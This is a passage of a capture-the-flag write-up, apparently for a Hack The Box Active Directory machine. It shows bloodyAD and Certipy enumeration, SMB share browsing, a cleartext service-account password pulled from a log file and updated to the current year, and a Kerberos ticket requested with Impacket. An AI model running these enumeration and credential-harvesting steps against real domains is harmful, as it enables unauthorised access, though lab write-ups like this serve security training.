distinguishedName: <span class="nv">CN</span><span class="o">=</span>Domain Computers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Schema Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Enterprise Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Cert Publishers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>DC01,OU<span class="o">=</span>Domain Controllers,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Domain Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>toby.brynleigh,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Domain Users,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Domain Guests,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Group Policy Creator Owners,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>RAS and IAS Servers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Server Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Account Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Pre-Windows 2000 Compatible Access,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>DC01,OU<span class="o">=</span>Domain Controllers,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>S-1-5-11,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Incoming Forest Trust Builders,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Windows Authorization Access Group,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>S-1-5-9,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Terminal Server License Servers,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Allowed RODC Password Replication Group,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Denied RODC Password Replication Group,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Read-only Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Group Policy Creator Owners,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Domain Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Cert Publishers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Enterprise Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Schema Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>krbtgt,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Read-only Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Enterprise Read-only Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Cloneable Domain Controllers,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Protected Users,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>svc_recovery,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Key Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Enterprise Key Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>DnsAdmins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>DnsUpdateProxy,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Emergency Recovery,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>svc_recovery,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>IT,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>jaylee.clifton,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>HR,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>wellington.kylan,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>WSUS Administrators,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>WSUS Reporters,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="managed-service-accounts">Managed Service Accounts</h2>
<div filename="Managed Service Accounts" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>bloodyAD <span class="nt">-H</span> dc01.logging.htb <span class="nt">-k</span> <span class="nt">-d</span> logging.htb get search <span class="nt">--filter</span> <span class="s1">'(objectClass=msDS-GroupManagedServiceAccount)'</span> <span class="nt">--attr</span> distinguishedName

distinguishedName: <span class="nv">CN</span><span class="o">=</span>msa_health,CN<span class="o">=</span>Managed Service Accounts,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="vulnerable-certificates">Vulnerable Certificates</h2>
<div filename="Certificates" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>certipy-ad find <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-target</span> DC01.logging.htb <span class="nt">-vulnerable</span>
Certipy v5.0.4 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>

<span class="o">[!]</span> DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 34 certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding certificate authorities
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 1 certificate authority
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 12 enabled certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding issuance policies
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 15 issuance policies
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 0 OIDs linked to templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Retrieving CA configuration <span class="k">for</span> <span class="s1">'logging-DC01-CA'</span> via RRP
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully retrieved CA configuration <span class="k">for</span> <span class="s1">'logging-DC01-CA'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Checking web enrollment <span class="k">for </span>CA <span class="s1">'logging-DC01-CA'</span> @ <span class="s1">'DC01.logging.htb'</span>
<span class="o">[!]</span> Error checking web enrollment: <span class="o">[</span>Errno 111] Connection refused
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving text output to <span class="s1">'20260419064303_Certipy.txt'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Wrote text output to <span class="s1">'20260419064303_Certipy.txt'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving JSON output to <span class="s1">'20260419064303_Certipy.json'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Wrote JSON output to <span class="s1">'20260419064303_Certipy.json'</span>

<span class="nv">$ </span><span class="nb">cat </span>20260419064303_Certipy.txt                                  
Certificate Authorities
  0
    CA Name                             : logging-DC01-CA
    DNS Name                            : DC01.logging.htb
    Certificate Subject                 : <span class="nv">CN</span><span class="o">=</span>logging-DC01-CA, <span class="nv">DC</span><span class="o">=</span>logging, <span class="nv">DC</span><span class="o">=</span>htb
    Certificate Serial Number           : 196621CCC95B9C904E63B58E449ABC04
    Certificate Validity Start          : 2026-04-17 03:20:00+00:00
    Certificate Validity End            : 2126-04-17 03:30:00+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption <span class="k">for </span>Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : LOGGING.HTB<span class="se">\A</span>dministrators
      Access Rights
        ManageCa                        : LOGGING.HTB<span class="se">\A</span>dministrators
                                          LOGGING.HTB<span class="se">\D</span>omain Admins
                                          LOGGING.HTB<span class="se">\E</span>nterprise Admins
        ManageCertificates              : LOGGING.HTB<span class="se">\A</span>dministrators
                                          LOGGING.HTB<span class="se">\D</span>omain Admins
                                          LOGGING.HTB<span class="se">\E</span>nterprise Admins
        Enroll                          : LOGGING.HTB<span class="se">\A</span>uthenticated Users
Certificate Templates                   : <span class="o">[!]</span> Could not find any certificate templates
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="shares">Shares</h2>
<div filename="Shares" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>smbclient.py <span class="nt">-k</span> <span class="nt">-no-pass</span> DC01.logging.htb       
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

Type <span class="nb">help </span><span class="k">for </span>list of commands
<span class="c"># shares</span>
ADMIN<span class="err">$</span>
C<span class="err">$</span>
IPC<span class="err">$</span>
Logs
NETLOGON
SYSVOL
WSUSTemp
</pre></td></tr></tbody></table></code></pre></div></div>

<h1 id="user">User</h1>
<h2 id="establishing-a-target">Establishing a Target</h2>
<p>The most interesting object I have found so far seems to be the <code class="language-plaintext highlighter-rouge">msa_health$</code> service account along with the <code class="language-plaintext highlighter-rouge">svc_recovery</code> and <code class="language-plaintext highlighter-rouge">Emergency Recovery</code> groups.</p>

<p>Let’s take a look at the <code class="language-plaintext highlighter-rouge">ACLs</code> for <code class="language-plaintext highlighter-rouge">msa_health$</code></p>
<div filename="msa security descriptors" class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
</pre></td><td class="rouge-code"><pre><span class="err">$</span> bloodyAD -H dc01.logging.htb -k -d logging.htb get object 'msa_health$' --resolve-sd

distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
<span class="p">accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: msa_health
codePage: 0
countryCode: 0
dNSHostName: msa_health.logging.htb
dSCorePropagationData: 2026-04-16 23:36:35+00:00
instanceType: 4
isCriticalSystemObject: False
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
localPolicyFlags: 0
logonCount: 0
memberOf: CN=Remote Management Users,CN=Builtin,DC=logging,DC=htb
msDS-ManagedPasswordId: AQAAAEtEU0sCAAAAbAEAAAIAAAABAAAABtA80N8pE5wgJbudpD4KkgAAAAAYAAAAGAAAAGwAbwBnAGcAaQBuAGcALgBoAHQAYgAAAGwAbwBnAGcAaQBuAGcALgBoAHQAYgAAAA==
msDS-ManagedPasswordInterval: 30
msDS-SupportedEncryptionTypes: 28
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_AUTO_INHERITED|DACL_PRESENT|SACL_AUTO_INHERITED|SELF_RELATIVE
nTSecurityDescriptor.ACL.0.Type: == DENIED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: EVERYONE
nTSecurityDescriptor.ACL.0.Right: CONTROL_ACCESS
nTSecurityDescriptor.ACL.0.ObjectType: User-Force-Change-Password
nTSecurityDescriptor.ACL.1.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.1.Trustee: Cert Publishers
nTSecurityDescriptor.ACL.1.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.1.ObjectType: X509-Cert
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: WINDOWS_AUTHORIZATION_ACCESS_GROUP
nTSecurityDescriptor.ACL.2.Right: READ_PROP
nTSecurityDescriptor.ACL.2.ObjectType: Token-Groups-Global-And-Universal
nTSecurityDescriptor.ACL.3.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.3.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.3.Right: WRITE_VALIDATED
nTSecurityDescriptor.ACL.3.ObjectType: Service-Principal-Name; DNS-Host-Name
</span><span class="gi">+ nTSecurityDescriptor.ACL.4.Type: == ALLOWED_OBJECT ==
+ nTSecurityDescriptor.ACL.4.Trustee: EVERYONE
+ nTSecurityDescriptor.ACL.4.Right: READ_PROP
+ nTSecurityDescriptor.ACL.4.ObjectType: ms-DS-ManagedPassword
</span><span class="p">nTSecurityDescriptor.ACL.5.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.5.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.5.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.5.ObjectType: Personal-Information (property set)
</span><span class="gi">+ nTSecurityDescriptor.ACL.6.Type: == ALLOWED ==
+ nTSecurityDescriptor.ACL.6.Trustee: svc_recovery
+ nTSecurityDescriptor.ACL.6.Right: GENERIC_WRITE|READ_PROP|LIST_CHILD
+ nTSecurityDescriptor.ACL.6.ObjectType: Self
</span><span class="p">nTSecurityDescriptor.ACL.7.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.7.Trustee: ACCOUNT_OPERATORS; LOCAL_SYSTEM; Domain Admins
nTSecurityDescriptor.ACL.7.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.7.ObjectType: Self
nTSecurityDescriptor.ACL.8.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.8.Trustee: AUTHENTICATED_USERS
nTSecurityDescriptor.ACL.8.Right: GENERIC_READ
nTSecurityDescriptor.ACL.8.ObjectType: Self
nTSecurityDescriptor.ACL.9.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.9.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.9.Right: READ_PROP
nTSecurityDescriptor.ACL.9.ObjectType: Logon-Information (property set); Remote-Access-Information (property set); General-Information (property set); Account-Restrictions (property set); Group-Membership (property set)
nTSecurityDescriptor.ACL.9.InheritedObjectType: User; inetOrgPerson
nTSecurityDescriptor.ACL.9.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.10.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.10.Trustee: Enterprise Key Admins; Key Admins
nTSecurityDescriptor.ACL.10.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.10.ObjectType: ms-DS-Key-Credential-Link
nTSecurityDescriptor.ACL.10.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.11.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.11.Trustee: PRINCIPAL_SELF; CREATOR_OWNER
nTSecurityDescriptor.ACL.11.Right: WRITE_VALIDATED
nTSecurityDescriptor.ACL.11.ObjectType: DS-Validated-Write-Computer
nTSecurityDescriptor.ACL.11.InheritedObjectType: Computer
nTSecurityDescriptor.ACL.11.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.12.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.12.Trustee: ENTERPRISE_DOMAIN_CONTROLLERS
nTSecurityDescriptor.ACL.12.Right: READ_PROP
nTSecurityDescriptor.ACL.12.ObjectType: Token-Groups
nTSecurityDescriptor.ACL.12.InheritedObjectType: Group; User; Computer
nTSecurityDescriptor.ACL.12.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.13.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.13.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.13.Right: WRITE_PROP
nTSecurityDescriptor.ACL.13.ObjectType: ms-TPM-Tpm-Information-For-Computer
nTSecurityDescriptor.ACL.13.InheritedObjectType: Computer
nTSecurityDescriptor.ACL.13.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.14.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.14.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.14.Right: GENERIC_READ
nTSecurityDescriptor.ACL.14.ObjectType: Self
nTSecurityDescriptor.ACL.14.InheritedObjectType: User; inetOrgPerson; Group
nTSecurityDescriptor.ACL.14.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.15.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.15.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.15.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.15.ObjectType: ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
nTSecurityDescriptor.ACL.15.Flags: CONTAINER_INHERIT; INHERITED; OBJECT_INHERIT
nTSecurityDescriptor.ACL.16.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.16.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.16.Right: CONTROL_ACCESS|WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.16.ObjectType: Private-Information (property set)
nTSecurityDescriptor.ACL.16.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.17.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.17.Trustee: Enterprise Admins
nTSecurityDescriptor.ACL.17.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.17.ObjectType: Self
nTSecurityDescriptor.ACL.17.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.18.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.18.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.18.Right: LIST_CHILD
nTSecurityDescriptor.ACL.18.ObjectType: Self
nTSecurityDescriptor.ACL.18.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.19.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.19.Trustee: BUILTIN_ADMINISTRATORS
nTSecurityDescriptor.ACL.19.Right: WRITE_OWNER|WRITE_DACL|GENERIC_READ|DELETE|CONTROL_ACCESS|WRITE_PROP|WRITE_VALIDATED|CREATE_CHILD
nTSecurityDescriptor.ACL.19.ObjectType: Self
nTSecurityDescriptor.ACL.19.Flags: CONTAINER_INHERIT; INHERITED
name: msa_health
objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=logging,DC=htb
objectClass: top; person; organizationalPerson; user; computer; msDS-GroupManagedServiceAccount
objectGUID: 22d835ba-1d5a-4a18-bd09-56225643b724
objectSid: S-1-5-21-4020823815-2796529489-1682170552-2113
primaryGroupID: 515
pwdLastSet: 2026-04-16 23:36:06.647754+00:00
sAMAccountName: msa_health$
sAMAccountType: 805306369
uSNChanged: 24616
uSNCreated: 24609
userAccountControl: WORKSTATION_TRUST_ACCOUNT
whenChanged: 2026-04-16 23:36:35+00:00
whenCreated: 2026-04-16 23:36:06+00:00
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Although it may look like <code class="language-plaintext highlighter-rouge">everyone</code> can read the <code class="language-plaintext highlighter-rouge">msDS-ManagedPassword</code>, in reality only users with <code class="language-plaintext highlighter-rouge">GENERIC ALL</code> over the machine can read this property, so our target shifts over to <code class="language-plaintext highlighter-rouge">svc_recovery</code>.</p>

<h2 id="svc_recovery-cleartext-password">svc_recovery cleartext password</h2>
<p>Looking back at our shares we can find 2 interesting ones: <code class="language-plaintext highlighter-rouge">Logs</code> and <code class="language-plaintext highlighter-rouge">WSUSTemp</code>, <code class="language-plaintext highlighter-rouge">WSUSTemp</code> seems like the most appealing right now because it opens up the possibility for <code class="language-plaintext highlighter-rouge">WSUS</code> attacks, however we don’t have permissions on this share, so instead we take a look at the <code class="language-plaintext highlighter-rouge">Logs</code> share.</p>
<div filename="WSUSTemp Share" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="c"># use WSUSTemp</span>
<span class="o">[</span>-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - <span class="o">{</span>Access Denied<span class="o">}</span> A process has requested access to an object but has not been granted those access rights.
<span class="c"># use Logs</span>
<span class="c"># ls</span>
drw-rw-rw-          0  Thu Apr 16 19:10:09 2026 <span class="nb">.</span>
drw-rw-rw-          0  Thu Apr 16 19:10:09 2026 ..
<span class="nt">-rw-rw-rw-</span>       1294  Thu Apr 16 19:10:09 2026 Audit_Heartbeat.log
<span class="nt">-rw-rw-rw-</span>       8488  Thu Apr 16 19:10:09 2026 IdentitySync_Trace_20260219.log
<span class="nt">-rw-rw-rw-</span>        468  Thu Apr 16 19:10:09 2026 Service_State.log
<span class="nt">-rw-rw-rw-</span>       1170  Thu Apr 16 19:10:09 2026 TaskMonitor.log
<span class="c"># mget *</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Downloading Audit_Heartbeat.log
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Downloading IdentitySync_Trace_20260219.log
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Downloading Service_State.log
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Downloading TaskMonitor.log
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look at each log, the most interesting one seems to be the <code class="language-plaintext highlighter-rouge">IdentitySync_Trace_20260219.log</code> where we can find a <code class="language-plaintext highlighter-rouge">cleartext</code> password for the user account <code class="language-plaintext highlighter-rouge">svc_recovery</code>.</p>
<div filename="IdentitySync_Trace_20260219 log" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-ni</span> <span class="s1">'svc_recovery'</span> IdentitySync_Trace_20260219.log 
32:[2026-02-09 03:00:03.125] <span class="o">[</span>PID:4102] <span class="o">[</span>Thread:04] VERBOSE - ConnectionContext Dump: <span class="o">{</span> Domain: <span class="s2">"logging.htb"</span>, Server: <span class="s2">"DC01"</span>, SSL: <span class="s2">"False"</span>, BindUser: <span class="s2">"LOGGING</span><span class="se">\s</span><span class="s2">vc_recovery"</span>, BindPass: <span class="s2">"Em3rg3ncyPa</span><span class="nv">$$</span><span class="s2">2025"</span>, Timeout: 30 <span class="o">}</span>
41:[2026-02-19 03:00:03.510] <span class="o">[</span>PID:4102] <span class="o">[</span>Thread:12] WARN  - Connectivity failed <span class="k">for </span>logging<span class="se">\s</span>vc_recovery. Checking alternate Domain Controller...
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ve tried this password against <code class="language-plaintext highlighter-rouge">svc_recovery</code>, however it didn’t work as expected, as it’s no longer the year <code class="language-plaintext highlighter-rouge">2025</code>, one may suspect to update the year to <code class="language-plaintext highlighter-rouge">2026</code> which is in the end what worked.</p>

<p><em>for the following sections I’ll get myself a <code class="language-plaintext highlighter-rouge">TGT</code> as <code class="language-plaintext highlighter-rouge">svc_recovery</code> to use for authentication</em></p>
<div filename="svc_recovery TGT" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>getTGT.py logging.htb/svc_recovery:<span class="s1">'Em3rg3ncyPa$$2026'</span>                     
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>svc_recovery.ccache
<span class="nv">$ </span><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>svc_recovery.ccache 
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="shadowing-msa_health">Shadowing MSA_HEALTH$</h2>
